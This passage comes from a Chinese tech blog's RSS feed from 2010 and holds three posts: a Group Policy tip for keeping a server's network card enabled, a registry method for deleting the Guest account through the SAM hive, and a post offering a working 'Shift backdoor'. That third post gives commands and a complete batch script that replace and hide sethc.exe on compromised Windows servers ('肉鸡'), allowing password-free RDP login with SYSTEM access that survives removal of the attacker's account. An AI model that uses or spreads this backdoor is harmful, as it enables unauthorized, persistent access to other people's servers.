	<li><a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的 (2010年07月28日)">ASP防注入新方式，希望对大家是有用的</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质 (2008年10月17日)">游戏数值公式的表象与本质</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题 (2010年07月26日)">深入探讨PHP中的内存管理问题</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeprn-asp-jpg.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>防止网卡被禁用的具体配置方法</title>
		<link>http://www.5bay.cn/server-building/eeeeeeee-2.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeeeee-2.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:58:21 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[模板]]></category>
		<category><![CDATA[策略]]></category>
		<category><![CDATA[组件]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=523</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeeeee-2.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>防止网卡被意外禁用，这个对大家可能没有多大的用途，但如果你有服务器托管在外面，那可就有用了，如果你那天不小心点到了“禁用”，呵呵，那后果我就不用说了吧，你的服务器马上就跟你说拜拜了，而且必须进入机房去重新启用网卡才可以（我就碰到了这样的倒霉事啊）。
闲话不多说，下面说重点：
实现的方法，用组策略来实现。
　　步骤：
　　1、运行——》gpedit.msc
　　2、导航至：用户配置——》管理模板——》网络——》网络连接
　　3.1、找到“禁止启用/禁用 LAN 连接的组件”，设置为“已启用”
　　3.2、找到“启用/禁用 LAN 连接的能力”，设置为“已禁用”
　　3.3、找到“为管理员启用 Windows 2000 网络连接设置”，设置为“已启用”
　　4、运行——》gpupdate /force
　　你现在检查一下本地连接的属性，“禁用”按钮已经变成灰色的不可用状态，这下你再也不用担心意外点中，让你的服务器跟你说拜拜了。
相关博文2010年07月26日 -- Ajax的工作原理 (0)2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月28日 -- 无需输入密码登陆3389 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>防止网卡被意外禁用，这个对大家可能没有多大的用途，但如果你有服务器托管在外面，那可就有用了，如果你那天不小心点到了“禁用”，呵呵，那后果我就不用说了吧，你的服务器马上就跟你说拜拜了，而且必须进入机房去重新启用网卡才可以（我就碰到了这样的倒霉事啊）。</p>
<p>闲话不多说，下面说重点：</p>
<p>实现的方法，用组策略来实现。</p>
<p>　　步骤：</p>
<p>　　1、运行——》gpedit.msc</p>
<p>　　2、导航至：用户配置——》管理模板——》网络——》网络连接</p>
<p>　　3.1、找到“禁止启用/禁用 LAN 连接的组件”，设置为“已启用”</p>
<p>　　3.2、找到“启用/禁用 LAN 连接的能力”，设置为“已禁用”</p>
<p>　　3.3、找到“为管理员启用 Windows 2000 网络连接设置”，设置为“已启用”</p>
<p>　　4、运行——》gpupdate /force</p>
<p>　　你现在检查一下本地连接的属性，“禁用”按钮已经变成灰色的不可用状态，这下你再也不用担心意外点中，让你的服务器跟你说拜拜了。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%A8%A1%E6%9D%BF" title="模板" rel="tag">模板</a>, <a href="http://www.5bay.cn/tag/%E7%AD%96%E7%95%A5" title="策略" rel="tag">策略</a>, <a href="http://www.5bay.cn/tag/%E7%BB%84%E4%BB%B6" title="组件" rel="tag">组件</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理 (2010年07月26日)">Ajax的工作原理</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E8%A7%92%E8%89%B2%E5%8A%A8%E4%BD%9C%E6%8E%A7%E5%88%B6%E6%8E%A5%E5%8F%A3%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="角色动作控制接口的设计 (2008年10月17日)">角色动作控制接口的设计</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质 (2008年10月17日)">游戏数值公式的表象与本质</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播 (2008年10月17日)">服务器消息的广播</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeeeee-2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>通过注册表彻底删除guest等账户</title>
		<link>http://www.5bay.cn/server-building/eeeuestee.html</link>
		<comments>http://www.5bay.cn/server-building/eeeuestee.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:57:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[诫]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=521</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeuestee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>开始&#8212;&#8212;运行regedt  启动注册表编辑器
找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。
再次运行regedit：
此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到：
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。
进入dos窗口：
&#62;net user
看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！
========
需要提醒的是：
1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。
2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是：
可通过编辑注册表的SAM信息可轻松删除或改动其它账
2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。
相关博文2010年07月28日 -- Webshell下破解计算机管理员密码 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 -- Ajax的工作原理 (0)2010年07月26日 -- ajax的缺点 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- AJAX应用程序开发七宗罪 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年05月23日 -- Rsync详解 (0)2008年10月17日 -- 在 Windows 下使用 Timer 驱动游戏 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 随机数有多随机？ (0)
	标签Tags：domain, 方法, [...]]]></description>
			<content:encoded><![CDATA[<p>开始&#8212;&#8212;运行regedt  启动注册表编辑器<br />
找到HKEY_LOCAL_MACHINE窗口，选中SAM\SAM，然后点菜单中的权限设置，这时候我们可看到Administrators组只具有特殊权限，而SYSTEM账号却拥有全部控制权限，想一想这是为什么呢？其实很容易理解，SYSTEM账号是系统启动时候需要的账号，很多系统内核程序和服务程序大都是以该账号的权限运行的，若权限太低的话，恐怕我们的系统就运行不了！现在我们需要做的是更改Administrators权限（一定要在高级选项中记住该权限内容以备后用）为全部控制，这样我们就可以访问SAM下的信息了。<br />
再次运行regedit：<br />
此时HKEY_LOCAL_MACHINE\SAM\SAM下就有东西了，步步深入一直找到：<br />
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 和 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest<br />
删除000001F5和Guest，然后退出regedit，再次运行regedt32，恢复Administrators对sam的权限（还记得Administrators的特殊权限吗？一定要记得啊，实在没有记住的话找其它同系统的机器看看也行，是一样的），这样是为了安全考虑，防止用户不小心删除系统账号。<br />
进入dos窗口：<br />
&gt;net user<br />
看看，会看大guest不见了，同样使用系统管理器的用户和组查看也是没有的了。这样就大功搞成了！<br />
========<br />
需要提醒的是：<br />
1、不熟悉注册表编辑的一定不要乱来，否则可能导致系统崩溃。<br />
2、删除前可考虑通过注册表的导出功能对删除的部分进行备份，以便恢复。 深入去玩的方法是：<br />
可通过编辑注册表的SAM信息可轻松删除或改动其它账<br />
2、可编写程序以SYSTEM权限运行来访问注册表中的SAM信息实现删除guest。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%9C%A8windows%E4%B8%8B%E4%BD%BF%E7%94%A8timer%E9%A9%B1%E5%8A%A8%E6%B8%B8%E6%88%8F.html" title="在 Windows 下使用 Timer 驱动游戏">在 Windows 下使用 Timer 驱动游戏</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题 (2010年07月26日)">深入探讨PHP中的内存管理问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码 (2010年07月28日)">Webshell下破解计算机管理员密码</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法 (2010年07月26日)">PHP对文本数据库的基本操作方法</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点 (2010年07月26日)">ajax的缺点</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理 (2010年07月26日)">Ajax的工作原理</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeuestee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>无需输入密码登陆3389</title>
		<link>http://www.5bay.cn/server-building/eeeeee389.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组
在肉鸡上执行命令
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。
似乎2000也可以，XP不行。这两个系统没测试。
不知道有牛人知道是什么道理不.
小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe
Shift后门TT整理版
来源：TT&#8217;s Blog
将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~
然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe
或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~
哇哈哈哈哈~~~
TITLE Shift后门
@echo off
cls
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo.
echo 使用方法:本文件执行完毕后,
echo 在终端界面按Shift 5次即可登陆系统!
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
echo 完成百分之 50
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
echo 完成百分之 80
attrib c:\windows\system32\sethc.exe +h
echo 完成百分之 90
attrib c:\windows\system32\dllcache\sethc.exe +h
echo 完成百分之 100
cls
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo 后门安装完毕！
echo.
echo 感谢您使用Shift后门
echo.
echo.
echo.
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
echo.
echo. &#38; pause
exit
相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- Rsync详解 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
TITLE Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (9)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html" title="多服务器的用户身份认证方案">多服务器的用户身份认证方案</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%84%9F%E8%B0%A2" title="感谢" rel="tag">感谢</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解 (2010年05月23日)">Rsync详解</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计 (2008年10月17日)">数据服务器的设计</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性 (2008年10月17日)">思维的惯性</a> (0)</li>
	<li><a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计 (2008年10月17日)">多进程的游戏服务器设计</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eeeeee389.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Webshell下破解计算机管理员密码</title>
		<link>http://www.5bay.cn/server-building/webshelleechueeee.html</link>
